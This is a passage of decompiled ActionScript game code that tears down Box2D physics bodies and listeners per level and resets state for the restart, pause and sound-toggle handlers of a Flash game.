stage.removeEventListener(MouseEvent.MOUSE_DOWN, cl_f);
stage.removeEventListener(MouseEvent.MOUSE_UP, cl_f2);
removeEventListener(Event.ENTER_FRAME, polet_babl);
zvuk_bt.removeEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.removeEventListener(MouseEvent.CLICK, again_f);
home_bt.removeEventListener(MouseEvent.CLICK, home_f);
if (locations <= 8){
removeEventListener(Event.ENTER_FRAME, game_f2);
};
if (locations == 1){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
};
if (locations == 2){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
};
if (locations == 3){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
world.DestroyBody(gro12_def);
};
if (locations == 4){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
world.DestroyBody(gro12_def);
world.DestroyBody(gro13_def);
world.DestroyBody(gro14_def);
};
if (locations == 5){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
world.DestroyBody(gro12_def);
};
if (locations == 6){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
};
if (locations == 7){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
};
if (locations == 8){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
world.DestroyBody(gro12_def);
world.DestroyBody(gro13_def);
world.DestroyBody(gro14_def);
world.DestroyBody(gro15_def);
world.DestroyBody(gro16_def);
};
if (locations == 9){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
};
if (locations == 10){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
};
if (locations == 11){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
};
if (locations == 12){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
};
if (locations == 13){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
world.DestroyBody(gro12_def);
};
if (locations == 14){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
world.DestroyBody(gro12_def);
};
if (locations == 15){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
};
if (locations == 17){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
};
if (locations == 16){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
};
if (locations == 18){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
};
if (locations == 19){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
};
if (locations == 20){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
};
if (locations == 21){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
};
if (locations == 22){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
};
if (locations == 23){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
};
if (locations == 24){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
};
for (i_in2 in mas_balka) {
if (mas_balka[i_in2] == 1){
world.DestroyBody(dim1);
};
if (mas_balka[i_in2] == 2){
world.DestroyBody(dim2);
};
if (mas_balka[i_in2] == 3){
world.DestroyBody(dim3);
};
if (mas_balka[i_in2] == 4){
world.DestroyBody(dim4);
};
if (mas_balka[i_in2] == 5){
world.DestroyBody(dim5);
};
if (mas_balka[i_in2] == 6){
world.DestroyBody(dim6);
};
if (mas_balka[i_in2] == 7){
world.DestroyBody(dim7);
};
if (mas_balka[i_in2] == 8){
world.DestroyBody(dim8);
};
if (mas_balka[i_in2] == 9){
world.DestroyBody(dim9);
};
if (mas_balka[i_in2] == 10){
world.DestroyBody(dim10);
};
if (mas_balka[i_in2] == 11){
world.DestroyBody(dim11);
};
if (mas_balka[i_in2] == 12){
world.DestroyBody(dim12);
};
if (mas_balka[i_in2] == 13){
world.DestroyBody(dim13);
};
if (mas_balka[i_in2] == 14){
world.DestroyBody(dim14);
};
if (mas_balka[i_in2] == 15){
world.DestroyBody(dim15);
};
if (mas_balka[i_in2] == 16){
world.DestroyBody(dim16);
};
if (mas_balka[i_in2] == 17){
world.DestroyBody(dim17);
};
if (mas_balka[i_in2] == 18){
world.DestroyBody(dim18);
};
if (mas_balka[i_in2] == 19){
world.DestroyBody(dim19);
};
if (mas_balka[i_in2] == 20){
world.DestroyBody(dim20);
};
if (mas_balka[i_in2] == 21){
world.DestroyBody(dim21);
};
if (mas_balka[i_in2] == 22){
world.DestroyBody(dim22);
};
if (mas_balka[i_in2] == 23){
world.DestroyBody(dim23);
};
if (mas_balka[i_in2] == 24){
world.DestroyBody(dim24);
};
if (mas_balka[i_in2] == 25){
world.DestroyBody(dim25);
};
if (mas_balka[i_in2] == 26){
world.DestroyBody(dim26);
};
if (mas_balka[i_in2] == 27){
world.DestroyBody(dim27);
};
if (mas_balka[i_in2] == 28){
world.DestroyBody(dim28);
};
if (mas_balka[i_in2] == 29){
world.DestroyBody(dim29);
};
if (mas_balka[i_in2] == 30){
world.DestroyBody(dim30);
};
if (mas_balka[i_in2] == 31){
world.DestroyBody(dim31);
};
if (mas_balka[i_in2] == 32){
world.DestroyBody(dim32);
};
if (mas_balka[i_in2] == 33){
world.DestroyBody(dim33);
};
if (mas_balka[i_in2] == 34){
world.DestroyBody(dim34);
};
if (mas_balka[i_in2] == 35){
world.DestroyBody(dim35);
};
if (mas_balka[i_in2] == 36){
world.DestroyBody(dim36);
};
if (mas_balka[i_in2] == 37){
world.DestroyBody(dim37);
};
if (mas_balka[i_in2] == 38){
world.DestroyBody(dim38);
};
if (mas_balka[i_in2] == 39){
world.DestroyBody(dim39);
};
if (mas_balka[i_in2] == 40){
world.DestroyBody(dim40);
};
if (mas_balka[i_in2] == 41){
world.DestroyBody(dim41);
};
if (mas_balka[i_in2] == 42){
world.DestroyBody(dim42);
};
if (mas_balka[i_in2] == 43){
world.DestroyBody(dim43);
};
if (mas_balka[i_in2] == 44){
world.DestroyBody(dim44);
};
if (mas_balka[i_in2] == 45){
world.DestroyBody(dim45);
};
if (mas_balka[i_in2] == 46){
world.DestroyBody(dim46);
};
if (mas_balka[i_in2] == 47){
world.DestroyBody(dim47);
};
if (mas_balka[i_in2] == 48){
world.DestroyBody(dim48);
};
if (mas_balka[i_in2] == 49){
world.DestroyBody(dim49);
};
if (mas_balka[i_in2] == 50){
world.DestroyBody(dim50);
};
if (mas_balka[i_in2] == 51){
world.DestroyBody(dim51);
};
if (mas_balka[i_in2] == 52){
world.DestroyBody(dim52);
};
if (mas_balka[i_in2] == 53){
world.DestroyBody(dim53);
};
if (mas_balka[i_in2] == 54){
world.DestroyBody(dim54);
};
if (mas_balka[i_in2] == 55){
world.DestroyBody(dim55);
};
if (mas_balka[i_in2] == 56){
world.DestroyBody(dim56);
};
if (mas_balka[i_in2] == 57){
world.DestroyBody(dim57);
};
if (mas_balka[i_in2] == 58){
world.DestroyBody(dim58);
};
if (mas_balka[i_in2] == 59){
world.DestroyBody(dim59);
};
if (mas_balka[i_in2] == 60){
world.DestroyBody(dim60);
};
if (mas_balka[i_in2] == 61){
world.DestroyBody(dim61);
};
if (mas_balka[i_in2] == 62){
world.DestroyBody(dim62);
};
if (mas_balka[i_in2] == 63){
world.DestroyBody(dim63);
};
if (mas_balka[i_in2] == 64){
world.DestroyBody(dim64);
};
if (mas_balka[i_in2] == 65){
world.DestroyBody(dim65);
};
};
if (getChildByName("hero_da")){
world.DestroyBody(devil);
};
if (getChildByName("triangle_da")){
removeChild(getChildByName("triangle_da"));
};
for (i_in4 in mas_pla) {
removeChild(getChildByName(("plam" + mas_pla[i_in4])));
};
for (i_in2 in mas_cra) {
removeChild(getChildByName(("crash" + mas_cra[i_in2])));
};
if (getChildByName("hero_da")){
removeChild(getChildByName("hero_da"));
};
if ((getChildByName("pricel_da") is MovieClip)){
removeChild(getChildByName("pricel_da"));
};
mas_pla.splice(0, mas_pla.length);
mas_balka.splice(0, mas_balka.length);
mas_balka_giz.splice(0, mas_balka_giz.length);
mas_cra.splice(0, mas_cra.length);
mas_ground.splice(0, mas_ground.length);
zagal = 0;
usk = 1;
hero_ex = 0;
pos_hero = 0;
defeat = 0;
hero_fly = 0;
time_start = 10;
score_game = 0;
per_cra = 1;
per_pla = 1;
cra_test = 1;
molnia = 100;
if ((getChildByName("pausa_game_da") is MovieClip)){
removeChild(getChildByName("pausa_game_da"));
};
if ((getChildByName("defeat_da") is MovieClip)){
removeChild(getChildByName("defeat_da"));
};
if ((getChildByName("win_da") is MovieClip)){
removeChild(getChildByName("win_da"));
};
again_srab = 1;
locations = (locations + 1);
smert = false;
game = 2;
Mouse.show();
gotoAndStop("again");
}
public function pausa_game_f(_arg1:MouseEvent){
if (defeat == 0){
if (smert == false){
pausa_game = new pausa_game_cl();
addChild(pausa_game);
pausa_game.name = "pausa_game_da";
pausa_game.x = 370;
pausa_game.y = 160;
pausa_game.resume_bt.addEventListener(MouseEvent.CLICK, resume_f);
pausa_game.again_bt.addEventListener(MouseEvent.CLICK, again_f);
pausa_game.home_bt.addEventListener(MouseEvent.CLICK, home_f);
smert = true;
i = 1;
while (i <= cel) {
this[("ang" + i)].stop();
i++;
};
};
};
}
public function lev1_2_f(_arg1:MouseEvent){
gotoAndStop("loc2");
}
public function nagal_zvuk(_arg1:MouseEvent):void{
var _local2:SoundTransform;
var _local3:SoundTransform;
if (zvukReg == false){
_local2 = new SoundTransform(0, 0);
SoundMixer.soundTransform = _local2;
zvukReg = true;
} else {
_local3 = new SoundTransform(1, 0);
SoundMixer.soundTransform = _local3;
zvukReg = false;
};
}
public function again_f(_arg1:MouseEvent){
removeEventListener(Event.ENTER_FRAME, up_w);
removeEventListener(Event.ENTER_FRAME, game_f);
removeEventListener(Event.ENTER_FRAME, add_hero);
stage.removeEventListener(MouseEvent.MOUSE_DOWN, cl_f);
stage.removeEventListener(MouseEvent.MOUSE_UP, cl_f2);
removeEventListener(Event.ENTER_FRAME, polet_babl);
zvuk_bt.removeEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.removeEventListener(MouseEvent.CLICK, again_f);
home_bt.removeEventListener(MouseEvent.CLICK, home_f);
if (locations <= 8){
removeEventListener(Event.ENTER_FRAME, game_f2);
};
if (locations == 1){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
};
if (locations == 2){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
};
if (locations == 3){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
world.DestroyBody(gro12_def);
};
if (locations == 4){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
world.DestroyBody(gro12_def);
world.DestroyBody(gro13_def);
world.DestroyBody(gro14_def);
};
if (locations == 5){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
world.DestroyBody(gro12_def);
};
if (locations == 6){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
};
if (locations == 7){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
};
if (locations == 8){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
world.DestroyBody(gro12_def);
world.DestroyBody(gro13_def);
world.DestroyBody(gro14_def);
world.DestroyBody(gro15_def);
world.DestroyBody(gro16_def);
};
if (locations == 9){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
};
if (locations == 10){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
};
if (locations == 11){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
};
if (locations == 12){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
};
if (locations == 13){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
world.DestroyBody(gro12_def);
};
if (locations == 14){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
world.DestroyBody(gro12_def);
};
if (locations == 15){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
};
if (locations == 16){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
};
if (locations == 17){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
};
if (locations == 18){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
};
if (locations == 19){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
};
if (locations == 20){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
};
if (locations == 21){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
};
if (locations == 22){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
};
if (locations == 23){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
};
if (locations == 24){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
};
for (i_in2 in mas_balka) {
if (mas_balka[i_in2] == 1){
world.DestroyBody(dim1);
};
if (mas_balka[i_in2] == 2){
world.DestroyBody(dim2);
};
if (mas_balka[i_in2] == 3){
world.DestroyBody(dim3);
};
if (mas_balka[i_in2] == 4){
world.DestroyBody(dim4);
};
if (mas_balka[i_in2] == 5){
world.DestroyBody(dim5);
};
if (mas_balka[i_in2] == 6){
world.DestroyBody(dim6);
};
if (mas_balka[i_in2] == 7){
world.DestroyBody(dim7);
};
if (mas_balka[i_in2] == 8){
world.DestroyBody(dim8);
};
if (mas_balka[i_in2] == 9){
world.DestroyBody(dim9);
};
if (mas_balka[i_in2] == 10){
world.DestroyBody(dim10);
};
if (mas_balka[i_in2] == 11){
world.DestroyBody(dim11);
};
if (mas_balka[i_in2] == 12){
world.DestroyBody(dim12);
};
if (mas_balka[i_in2] == 13){
world.DestroyBody(dim13);
};
if (mas_balka[i_in2] == 14){
world.DestroyBody(dim14);
};
if (mas_balka[i_in2] == 15){
world.DestroyBody(dim15);
};
if (mas_balka[i_in2] == 16){
world.DestroyBody(dim16);
};
if (mas_balka[i_in2] == 17){
world.DestroyBody(dim17);
};
if (mas_balka[i_in2] == 18){
world.DestroyBody(dim18);
};
if (mas_balka[i_in2] == 19){
world.DestroyBody(dim19);
};
if (mas_balka[i_in2] == 20){
world.DestroyBody(dim20);
};
if (mas_balka[i_in2] == 21){
world.DestroyBody(dim21);
};
if (mas_balka[i_in2] == 22){
world.DestroyBody(dim22);
};
if (mas_balka[i_in2] == 23){
world.DestroyBody(dim23);
};
if (mas_balka[i_in2] == 24){
world.DestroyBody(dim24);
};
if (mas_balka[i_in2] == 25){
world.DestroyBody(dim25);
};
if (mas_balka[i_in2] == 26){
world.DestroyBody(dim26);
};
if (mas_balka[i_in2] == 27){
world.DestroyBody(dim27);
};
if (mas_balka[i_in2] == 28){
world.DestroyBody(dim28);
};
if (mas_balka[i_in2] == 29){
world.DestroyBody(dim29);
};
if (mas_balka[i_in2] == 30){
world.DestroyBody(dim30);
};
if (mas_balka[i_in2] == 31){
world.DestroyBody(dim31);
};
if (mas_balka[i_in2] == 32){
world.DestroyBody(dim32);
};
if (mas_balka[i_in2] == 33){
world.DestroyBody(dim33);
};
if (mas_balka[i_in2] == 34){
world.DestroyBody(dim34);
};
if (mas_balka[i_in2] == 35){
world.DestroyBody(dim35);
};
if (mas_balka[i_in2] == 36){
world.DestroyBody(dim36);
};
if (mas_balka[i_in2] == 37){
world.DestroyBody(dim37);
};
if (mas_balka[i_in2] == 38){
world.DestroyBody(dim38);
};
if (mas_balka[i_in2] == 39){
world.DestroyBody(dim39);
};
if (mas_balka[i_in2] == 40){
world.DestroyBody(dim40);
};
if (mas_balka[i_in2] == 41){
world.DestroyBody(dim41);
};
if (mas_balka[i_in2] == 42){
world.DestroyBody(dim42);
};
if (mas_balka[i_in2] == 43){
world.DestroyBody(dim43);
};
if (mas_balka[i_in2] == 44){
world.DestroyBody(dim44);
};
if (mas_balka[i_in2] == 45){
world.DestroyBody(dim45);
};
if (mas_balka[i_in2] == 46){
world.DestroyBody(dim46);
};
if (mas_balka[i_in2] == 47){
world.DestroyBody(dim47);
};
if (mas_balka[i_in2] == 48){
world.DestroyBody(dim48);
};
if (mas_balka[i_in2] == 49){
world.DestroyBody(dim49);
};
if (mas_balka[i_in2] == 50){
world.DestroyBody(dim50);
};
if (mas_balka[i_in2] == 51){
world.DestroyBody(dim51);
};
if (mas_balka[i_in2] == 52){
world.DestroyBody(dim52);
};
if (mas_balka[i_in2] == 53){
world.DestroyBody(dim53);
};
if (mas_balka[i_in2] == 54){
world.DestroyBody(dim54);
};
if (mas_balka[i_in2] == 55){
world.DestroyBody(dim55);
};
if (mas_balka[i_in2] == 56){
world.DestroyBody(dim56);
};
if (mas_balka[i_in2] == 57){
world.DestroyBody(dim57);
};
if (mas_balka[i_in2] == 58){
world.DestroyBody(dim58);
};
if (mas_balka[i_in2] == 59){
world.DestroyBody(dim59);
};
if (mas_balka[i_in2] == 60){
world.DestroyBody(dim60);
};
if (mas_balka[i_in2] == 61){
world.DestroyBody(dim61);
};
if (mas_balka[i_in2] == 62){
world.DestroyBody(dim62);
};
if (mas_balka[i_in2] == 63){
world.DestroyBody(dim63);
};
if (mas_balka[i_in2] == 64){
world.DestroyBody(dim64);
};
if (mas_balka[i_in2] == 65){
world.DestroyBody(dim65);
};
};
if (getChildByName("hero_da")){
world.DestroyBody(devil);
};
if (getChildByName("triangle_da")){
removeChild(getChildByName("triangle_da"));
};
for (i_in4 in mas_pla) {
removeChild(getChildByName(("plam" + mas_pla[i_in4])));
};
for (i_in2 in mas_cra) {
removeChild(getChildByName(("crash" + mas_cra[i_in2])));
};
if (getChildByName("hero_da")){
removeChild(getChildByName("hero_da"));
};
if ((getChildByName("pricel_da") is MovieClip)){
removeChild(getChildByName("pricel_da"));
};
mas_pla.splice(0, mas_pla.length);
mas_ground.splice(0, mas_ground.length);
mas_balka.splice(0, mas_balka.length);
mas_balka_giz.splice(0, mas_balka_giz.length);
mas_cra.splice(0, mas_cra.length);
zagal = 0;
usk = 1;
hero_ex = 0;
pos_hero = 0;
defeat = 0;
hero_fly = 0;
time_start = 10;
score_game = 0;
per_cra = 1;
per_pla = 1;
cra_test = 1;
molnia = 100;
if ((getChildByName("pausa_game_da") is MovieClip)){
removeChild(getChildByName("pausa_game_da"));
};
if ((getChildByName("defeat_da") is MovieClip)){
removeChild(getChildByName("defeat_da"));
};
if ((getChildByName("win_da") is MovieClip)){
removeChild(getChildByName("win_da"));
};
again_srab = 1;
smert = false;
game = 2;
Mouse.show();
gotoAndStop("again");
}
public function credits_bt_f2(_arg1:MouseEvent){
dx = mouseX;
dy = mouseY;
if (!cred_cl.hitTestPoint(dx, dy)){
cre_cl.visible = false;
